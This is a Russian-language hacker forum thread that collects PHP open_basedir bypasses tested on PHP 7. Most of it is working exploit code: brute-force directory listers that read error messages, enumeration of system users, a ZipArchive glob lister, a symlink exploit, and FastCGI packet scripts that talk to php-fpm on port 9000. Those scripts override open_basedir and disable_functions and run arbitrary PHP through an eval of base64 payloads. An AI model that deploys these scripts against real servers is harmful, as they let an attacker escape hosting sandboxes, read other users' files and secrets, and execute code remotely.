По мотивам https://rdot.org/forum/showthread.php?t=1043 Старая тема о главном + немного добавим с гугла + тесты на 7 ветке === этот тред. Вобщем что завелось у меня. Ну и сразу crlf подсказывает прикрепить ссыль на эту тему, ибо "т.к. имея выполнение команд, байпасс бейсдира не сильно нужен" Глава первая. Вспомнить всё... -------------------------------------------------------------------------------------------------------------------------------------------------------------------- finfo_* -------------------------------------------------------------------------------------------------------------------------------------------------------------------- PHP: $finfo = finfo_open(FILEINFO_MIME); $filename = "/etc"; var_dump(finfo_file($finfo, $filename)); Ругается на опенбэйздир или на отсутствие директории в зависимости от наличия директории. Тест: 7.0.26 7.3.8-1 ---------------------------------------------------------------------------------------------------------------------------------------------------------------- Glob(). Разный результат для отсутствующих и существующих файлов. ---------------------------------------------------------------------------------------------------------------------------------------------------------------- PHP: var_dump(glob('/etc/hosts'));var_dump(glob('/etc/does-not-exist')); отсутствует: array(0){} присутствует: bool(false) Тест: 7.0.26 7.3.8-1 -------------------------------------------------------------------------------------------------------------------------------------------------------------------- opendir()+readdir()+glob:// -------------------------------------------------------------------------------------------------------------------------------------------------------------------- https://bugs.php.net/bug.php?id=73891 Разные ошибки для существующих и отсутствующих директорий. Если использовать с glob:// то получим листинг. PHP: if ($dh = opendir($_GET['dir'])) { while (($file = readdir($dh)) !== false) { echo "$file\n"; } closedir($dh); } Code: http://localhost/1.php?dir=glob:///* DirectoryIterator PHP: <?phpprintf('open_basedir: %s </br>',ini_get('open_basedir'));$file_list = array();$it = new DirectoryIterator("glob:///*");foreach ($it as $f){ $file_list[] = $f->__toString();}$it = new DirectoryIterator("glob:///.*");foreach ($it as $f){ $file_list[] = $f->__toString();}sort($file_list);foreach ($file_list as $f){ echo "{$f}<br/>";} Тест: 7.0.26 7.3.8-1 -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Не баг, а фича - функции posix_* -------------------------------------------------------------------------------------------------------------------------------------------------------------------- http://bugs.php.net/bug.php?id=16733 PHP: <?php$bla = @posix_getpwuid(0);echo $bla['dir'];?> PHP: <? for ($i = 0; $i < 60000; $i++) { if (($tab = @posix_getpwuid($i)) != NULL) { echo $tab['name'].":"; echo $tab['passwd'].":"; echo $tab['uid'].":"; echo $tab['gid'].":"; echo $tab['gecos'].":"; echo $tab['dir'].":"; echo $tab['shell']."<br>"; } }?> Тест: 7.0.26 7.3.8-1 -------------------------------------------------------------------------------------------------------------------------------------------------------------------- imap_open() -------------------------------------------------------------------------------------------------------------------------------------------------------------------- https://bugs.php.net/bug.php?id=37265 PHP: $string = '/etc'; imap_open($string, "", ""); Снова разница в ошибках. Тест: 7.3.8-1 PHP: <?php $windows = false; $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.'; $alphabet_len = strlen($alphabet); $maxlength = 3; $path = '/'; $regexp = "/File\((.*)\) is not within/"; $files = array(); $s = array(); error_reporting(0); set_error_handler("eh"); function eh($errno, $errstr, $errfile, $errline) { global $regexp,$files,$windows; preg_match($regexp,$errstr,$o); if(isset($o[1]) && (($windows) ? (strpos($o[1],'<<')===false) : true)) { if(!in_array($o[1],$files)) $files[]=$o[1]; } } echo '<pre>open_basedir: '; if(ini_get('open_basedir')) echo "<font color=\"red\">".ini_get('open_basedir')."</font>\n"; else echo "<font color=\"green\">false</font>\n"; echo 'Directory listing of '.$path."\n"; while(count($s = inc($s,0)) <= $maxlength) { check($s); } sort($files); foreach($files as $file) echo $file."\n"; echo "</pre>"; function check($s) { global $alphabet,$path,$windows; $str = 'a'; for($i = 0; $i < count($s); $i++) { $str[$i] = $alphabet[$s[$i]]; } if($windows) imap_open($path.$str."<<", "", ""); else imap_open($path.$str, "", ""); } function inc($s,$i) { global $alphabet_len; if(!isset($s[$i])) { $s[$i] = 0; return $s; } if($s[$i] + 1 == $alphabet_len) { $s[$i] = 0; $s = inc($s,$i+1); } else { $s[$i]++; } return $s; }?> -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Realpath(). -------------------------------------------------------------------------------------------------------------------------------------------------------------------- http://bugs.php.net/bug.php?id=41492 Тест: 7.0.26 7.3.8-1 PHP: <?php #PHP <= 5.3.6 realpath open_basedir bypass, Directory Listing #By BF, 18.06.11 $windows = false; #For windows (https://rdot.org/forum/showthread.php?t=926) (http://onsec.ru/onsec.whitepaper-02.eng.pdf) $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.'; $alphabet_len = strlen($alphabet); $maxlength = 3; $path = '/'; $regexp = "/File\((.*)\) is not within/"; $files = array(); $s = array(); error_reporting(0); set_error_handler("eh"); function eh($errno, $errstr, $errfile, $errline) { global $regexp,$files,$windows; preg_match($regexp,$errstr,$o); if(isset($o[1]) && (($windows) ? (strpos($o[1],'<<')===false) : true)) { if(!in_array($o[1],$files)) $files[]=$o[1]; } } echo '<pre>open_basedir: '; if(ini_get('open_basedir')) echo "<font color=\"red\">".ini_get('open_basedir')."</font>\n"; else echo "<font color=\"green\">false</font>\n"; echo 'Directory listing of '.$path."\n"; while(count($s = inc($s,0)) <= $maxlength) { check($s); } sort($files); foreach($files as $file) echo $file."\n"; echo "</pre>"; function check($s) { global $alphabet,$path,$windows; $str = 'a'; for($i = 0; $i < count($s); $i++) { $str[$i] = $alphabet[$s[$i]]; } if($windows) realpath($path.$str."<<"); else realpath($path.$str); } function inc($s,$i) { global $alphabet_len; if(!isset($s[$i])) { $s[$i] = 0; return $s; } if($s[$i] + 1 == $alphabet_len) { $s[$i] = 0; $s = inc($s,$i+1); } else { $s[$i]++; } return $s; }?> -------------------------------------------------------------------------------------------------------------------------------------------------------------------- include - разница в ошибках. -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Тест: 7.3.8-1 PHP: <?php ini_set('display_errors', 1); ini_set('display_startup_errors',1); ini_set('error_reporting', E_ALL); ini_set('log_errors', 0); ini_set('html_errors',0); ini_set('max_execution_time',0); $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.'; $alphabet_len = strlen($alphabet); $maxlength = 3; $str = ''; $dir = '../'; if (isset($_GET['dir'])) { $dir = $_GET['dir']; } $ext = ''; if (isset($_GET['ext'])) { $ext = $_GET['ext']; if (isset($ext[0]) && $ext[0] != '.') { $ext = '.'.$ext; } } function inc($s,$i) { global $alphabet_len; if(!isset($s[$i])) { $s[$i] = 0; return $s; } if($s[$i] + 1 == $alphabet_len) { $s[$i] = 0; $s = inc($s,$i+1); } else { $s[$i]++; } return $s; } function check2($s) { global $str,$alphabet,$ext; $str = 'a'; for($i = 0; $i < count($s); $i++) { $str[$i] = $alphabet[$s[$i]]; } include $str.$ext; } function eh($errno, $errstr, $errfile, $errline) { global $str, $ext; if (substr_count($errstr, 'open_basedir restriction') > 0) { echo $str.$ext.'<br/>'; } } set_error_handler("eh"); echo 'open_basedir = '.ini_get('open_basedir').'<br>'; echo 'include_path = '.ini_get('include_path').'<br>'; echo 'set include_path = '.$dir.'<br>'; ini_set('include_path', $dir); echo 'include_path = '.ini_get('include_path').'<br>'; $s = array(); while(count($s = inc($s,0)) <= $maxlength) { check2($s); }echo '<br>end';?> Глава вторая. Окей, гугл! -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Is_dir(). -------------------------------------------------------------------------------------------------------------------------------------------------------------------- https://bugs.php.net/bug.php?id=69240 PHP: var_dump(is_dir("/etc/passwd"));var_dump(is_dir("/etc/passwd2")); Тест: 7.0.26 7.3.8-1 PHP: <?php $windows = false; $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.'; $alphabet_len = strlen($alphabet); $maxlength = 3; $path = '/'; $regexp = "/File\((.*)\) is not within/"; $files = array(); $s = array(); error_reporting(0); set_error_handler("eh"); function eh($errno, $errstr, $errfile, $errline) { global $regexp,$files,$windows; preg_match($regexp,$errstr,$o); if(isset($o[1]) && (($windows) ? (strpos($o[1],'<<')===false) : true)) { if(!in_array($o[1],$files)) $files[]=$o[1]; } } echo '<pre>open_basedir: '; if(ini_get('open_basedir')) echo "<font color=\"red\">".ini_get('open_basedir')."</font>\n"; else echo "<font color=\"green\">false</font>\n"; echo 'Directory listing of '.$path."\n"; while(count($s = inc($s,0)) <= $maxlength) { check($s); } sort($files); foreach($files as $file) echo $file."\n"; echo "</pre>"; function check($s) { global $alphabet,$path,$windows; $str = 'a'; for($i = 0; $i < count($s); $i++) { $str[$i] = $alphabet[$s[$i]]; } if($windows) is_dir($path.$str."<<"); else is_dir($path.$str); } function inc($s,$i) { global $alphabet_len; if(!isset($s[$i])) { $s[$i] = 0; return $s; } if($s[$i] + 1 == $alphabet_len) { $s[$i] = 0; $s = inc($s,$i+1); } else { $s[$i]++; } return $s; }?> -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Bindtextdomain -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Существует: string(4) "/etc" Отсутствует: bool(false) Тест: 7.0.26 7.3.8-1 PHP: <?phpprintf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));$re = bindtextdomain('xxx', $_GET['dir']);var_dump($re);?> -------------------------------------------------------------------------------------------------------------------------------------------------------------------- SplFileInfo + getRealPath -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Аналогично Существует: string(4) "/etc" Отсутствует: bool(false) Тест: 7.0.26 7.3.8-1 PHP: <?phpecho '<b>open_basedir: ' . ini_get('open_basedir') . '</b><br />';$info = new SplFileInfo($_GET['dir']);var_dump($info->getRealPath());?> Глава третья. Самое вкусное... -------------------------------------------------------------------------------------------------------------------------------------------------------------------- ZipArchive->addGlob -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Тест: 7.3.8-1 PHP: <?php # ZipArchive->addGlob open_basedir bypass, Directory Listing, by BlackFan # 20.12.11 if(stripos(PHP_OS,'win') !== FALSE) die('Windows glob does not support negative character classes'); if(!class_exists('ZipArchive')) die('Class ZipArchive not found'); $starttime = microtime(true); $dir = "/"; $R = false; $regexp = "/File\((.*)\) is not within/"; if(isset($_GET['dir'])) $dir = ((string)$_GET['dir']); if(isset($_GET['R']) and $_GET['R'] == 'on') $R = true; $dir = $dir.((substr($dir,-1) == '/') ? '' : '/'); echo "<head><title>open_basedir bypass, Directory Listing, by BlackFan</title></head>"; echo "<form method='GET'>"; echo "Directory (absolute path): <input type='text' name='dir' size='60' value='{$dir}'>"; echo "<input type='checkbox' name='R' ".(($R)?"checked='checked'":"")."> -R "; echo "<input type='submit' value='ls'></form>"; echo "<HR>"; $glob_dirs = array(); $dirs = array(); $files = array(); $lastfile = ''; $tmp_zip_name = "openbd.zip"; $z = new ZipArchive(); $z->open($tmp_zip_name,ZIPARCHIVE::CREATE); set_error_handler("error_handler"); $patterns_queue = array('*','.*'); $checked_chars = array(); $count = 0; do { $lastfile = ''; $z->addGlob($dir.array_shift($patterns_queue)."*",GLOB_MARK); if($lastfile !== '') { $is_dir = (substr($lastfile,-1) === '/'); if(($R or !$is_dir) and substr($lastfile,-3) !== '../') { array_push($patterns_queue,$lastfile.'?'); if($is_dir) { array_push($patterns_queue,$lastfile.'.*'); } } $lenlf = strlen($lastfile); for($i = 1; $i <= $lenlf; $i++) { $plf = substr($lastfile,0,$lenlf-$i); $lclf = $lastfile[$lenlf-$i]; if(!isset($checked_chars[$plf]) or !in_array($lclf,$checked_chars[$plf])) $checked_chars[$plf][] = $lclf; $new_pattern = $plf.'[^'.implode($checked_chars[$plf]).']'; if(!in_array($new_pattern,$patterns_queue)) array_push($patterns_queue,$new_pattern); } } $count++; } while(count($patterns_queue) !== 0); unset($glob_dirs); sort($dirs); sort($files); echo "<pre>"; if(count($dirs) !== 0 or count($files) !== 0) { foreach($dirs as $item) { $fp = $dir.$item; if(substr($item,-3) == '../') { $tmp = substr(($fp),0,strpos($fp,'/../')); $tmp = substr($tmp,0,strrpos($tmp,'/')); echo "<a href='?dir={$tmp}'>{$item}</a><br>"; } else { echo "<a href='?dir={$fp}'>{$item}</a><br>"; } } foreach($files as $item) { echo $item."<br>"; } } else { echo "Access denied or open_basedir = Off, <a href='javascript:history.back()'>back</a>"; } echo "\n\n$count glob iteration"; echo "\n".(count($dirs)+count($files))." files"; $z->close(); if(file_exists($tmp_zip_name)) unlink($tmp_zip_name); echo "\nTime: ".(microtime(true) - $starttime)." seconds"; echo "</pre>"; function error_handler($errno, $errstr, $errfile, $errline){ global $glob_dirs, $regexp, $lastfile, $dir, $dirs, $files; preg_match($regexp,$errstr,$o); if(isset($o[1])){ $lastfile = substr($o[1],strpos($o[1],$dir)+strlen($dir)); if(!in_array($lastfile,$glob_dirs)) { $glob_dirs[] = $lastfile; if(substr($lastfile,-1) == '/') $dirs[] = $lastfile; else $files[] = $lastfile; } else { $lastfile = ''; } } }?> -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Symlink() - отработало без вопросов. -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Тест: 7.3.8-1 Эксплоит взят с https://www.exploit-db.com/exploits/10557 PHP: <?php$fakedir="cx";$fakedep=16;$num=0; // offset of symlink.$numif(!empty($_GET['file'])) $file=$_GET['file'];else if(!empty($_POST['file'])) $file=$_POST['file'];else $file="";echo '<PRE><img src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <ahref="http://securityreason.com/" title="Security Audit PHP">Security Audit Lab - SecurityReason</a> labs.Author : Maksymilian Arciemowicz<p>Script for legal use only.<p>PHP 5.2.12 5.3.1 symlink open_basedir bypass<p>More: <a href="http://securityreason.com/">SecurityReason</a><p><form name="form" action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>';if(empty($file)) exit;if(!is_writable(".")) die("not writable directory");$level=0;for($as=0;$as<$fakedep;$as++){ if(!file_exists($fakedir)) mkdir($fakedir); chdir($fakedir);}while(1<$as--) chdir("..");$hardstyle = explode("/", $file);for($a=0;$a<count($hardstyle);$a++){ if(!empty($hardstyle[$a])){ if(!file_exists($hardstyle[$a])) mkdir($hardstyle[$a]); chdir($hardstyle[$a]); $as++; }}$as++;while($as--) chdir("..");@rmdir("fakesymlink");@unlink("fakesymlink");@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");// this loop will skip allready created symlinks.while(1) if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break; else $num++;@unlink("fakesymlink");mkdir("fakesymlink");die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');?>
Молодец, что собрал в одном месте, но стоит отделить/категоризировать треш типа true/false от действительно полезныйх байпасов (symlink, glob:///*), где можно свободно листить диры и читать файлы. На PHP 7.3.7 (FPM + Nginx) не работает Пользуясь случаем, дополню треш подборку булевых байпасов своими находками: PHP: <?phperror_reporting(E_ALL);ini_set('display_errors', true);ini_set('open_basedir', '/home/');mysqli_connect(NULL, 0, 0, 0, 0, '/etc/passwd');mysqli_connect(NULL, 0, 0, 0, 0, '/etc/xxxpasswd');mysqli_real_connect(mysqli_init(), NULL, 0, 0, 0, 0,'/etc/passwd');mysqli_real_connect(mysqli_init(), NULL, 0, 0, 0, 0,'/etc/xxxpasswd');var_dump(opcache_invalidate('/etc/passwd')); //bool(true)var_dump(opcache_invalidate('/etc/xxxpasswd')); //bool(false)openssl_x509_checkpurpose(NULL, NULL, ['/etc/passwd']);openssl_x509_checkpurpose(NULL, NULL, ['/etc/xxxpasswd']);set_include_path('/etc/');include('passwd');set_include_path('/etcxxx/');include('passwd');fsockopen("unix:///etc/passwd", NULL, $errno, $errstr, 30);fsockopen("unix:///etc/xxxpasswd", NULL, $errno, $errstr, 30);stream_socket_client("unix:///etc/passwd", $errno, $errstr, 30);stream_socket_client("unix:///etc/xxxpasswd", $errno, $errstr, 30);var_dump(stream_resolve_include_path("/etc/passwd"));var_dump(stream_resolve_include_path("/etc/xxxpasswd"));
Спасибо за замечание, спустил их в самый низ. Что касается glob:///* то он так и не захотел спускаться ниже /* , впрочем как будет время помучаю его. А вот симлинк + зипархив да, отработали как надо. Наверно важно в таком случае отметить что тестилось мной на mod_php.
Так ниже некуда, если мы про линь говорим, то он уже корень листит. Может в шиндовсе иное поведение, хз Ага, так будет вернее, может кто-то дотестит ещё. А для локальных кейсов с FPM, все эти свистопляски не нужны. Ну и линк на эту тему вконце не повредит, т.к. имея выполнение команд, байпасс бейсдира не сильно нужен
я имел ввиду что /etc/* /var/* уже не хочет почему-то, что кст касается и других вариантов - /etc и тд брутит, а вот /etc/* ошибки не изменяются соответственно и брут уже не катит
Кстати да, что-то обламывается. Но смутно помнится какой-то кейс, где glob отрабатывал, возможно что-то путаю
Каким-то странным образом пропустил такую вот интересную штуку https://bugs.php.net/bug.php?id=70134 В данном случае нам позволяют не только листить диры, но и читать файлы за бэйздиром Соответственно важно чтобы fpm крутился на 9000 порту Протестировано на apache + php-fpm 7.3 +1 в копилочку нормальных байпасов poc прикрепляю как есть PHP: <?phpini_set('error_reporting',E_ALL);ini_set('display_errors',1);ini_set('display_startup_errors',1);echo 'START ';echo ini_get('open_basedir');echo file_get_contents('/etc/passwd');echo ' END';echo '<br/>';if (isset($_GET['stop'])) exit;$params = array();$params['SCRIPT_NAME'] = $_SERVER['SCRIPT_NAME'];$params['SCRIPT_FILENAME'] = $_SERVER['SCRIPT_FILENAME'];$params['REQUEST_METHOD'] = 'GET';$params['QUERY_STRING'] = 'stop=true';$params['PHP_VALUE'] = 'open_basedir=/';$params_encoded = '';foreach ($params as $k=>$v) { $params_encoded.= chr(strlen($k)).chr(strlen($v)).$k.$v;}$len = strlen($params_encoded);$len_encoded = chr($len >> 8).chr($len & 255);$fp = fsockopen('127.0.0.1',9000);fwrite($fp, "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00");fwrite($fp, "\x01\x04\x00\x01".$len_encoded."\x00\x00".$params_encoded);fwrite($fp, "\x01\x04\x00\x01\x00\x00\x00\x00");fwrite($fp, "\x01\x05\x00\x01\x00\x00\x00\x00");sleep(2);$result = '';while (!feof($fp)) { $result .= fread($fp, 1024);}fclose($fp);$matches = array();preg_match('/START.*END/s', $result, $matches);echo $matches[0];?>
Я подумал, что все в курсе ещё с rdot-а Вроде первая реализация была от @d0znpp, но мне больше нравится вариант от @dharrya: PHP: <?phpfunction sendRequest($host, $port = 0, $packet = "") { $body = ''; $headers = ''; $errno = ''; $errstr = ''; $timeout = 1; if($port > 0) $host = "tcp://${host}:${port}/"; else $host = "unix://${host}"; $connection = stream_socket_client($host, $errno, $errstr, $timeout); if ($connection) { stream_set_timeout($connection, 1); fputs($connection, $packet); while(!feof($connection)) { $line = fgets($connection, 4096); if($line == "\r\n") break; $headers .= $line; } while(!feof($connection)) $body .= fgets($connection, 4096); fclose($connection); if (strpos($headers, 'Primary script unknown') !== false || strpos($headers, 'Status: 404 Not Found') !== false) { echo "Test failed:(\n"; echo $headers; } else { echo "Successful\n"; var_dump($headers); var_dump($body); } } else { echo "no connection:`("; }}function initializeParams($id, $params = array()){ $type = 4; $data = ""; foreach ($params as $key => $value) { $data .= pack("CN",strlen($key),(1<<31) | strlen($value)); $data .= $key; $data .= $value; } return to_s( $id, $type, $data );}function to_s($id, $type, $data = ""){ $packet = sprintf("\x01%c%c%c%c%c%c\x00", $type, $id / 256, $id % 256, strlen($data) / 256, strlen($data) % 256, strlen($data) % 8 ); $packet .= $data; $packet .= str_repeat("\x00",(strlen($data) % 8)); return $packet;}function buildPacket($payload = "echo 'OK';", $scriptFile = "/usr/share/php/PEAR.php") { $payload = base64_encode($payload); $packet = ""; $packet .= to_s(1,1,"\x00\x01\x00\x00\x00\x00\x00\x00"); $packet .= initializeParams(1, array( "REQUEST_METHOD" => "GET", "SERVER_PROTOCOL" => "HTTP/1.1", "GATEWAY_INTERFACE" => "CGI/1.1", "SERVER_NAME" => "localhost", "HTTP_HOST" => "localhost", "REMOTE_ADDR" => "127.0.0.1", "SCRIPT_FILENAME" => $scriptFile, "PHP_ADMIN_VALUE" => join("\n", [ "allow_url_fopen=On", "allow_url_include=On", "disable_functions=Off", "open_basedir=Off", "short_open_tag=On", "auto_prepend_file=data:,".urlencode("<?=eval(base64_decode('${payload}'));?>") ]) ) ); $packet .= to_s(1,4); $packet .= to_s(1,5); return $packet;}$packet = buildPacket('echo "OK!";');sendRequest('localhost', 9000, $packet); open_basedir и diasble_functions просто перезаписываются. Скрипт может в HTTP/SOCK.
При использовании общего опкеша, можно почитать чужие секретики. Bypass open_basedir with opcache https://bugs.php.net/bug.php?id=79560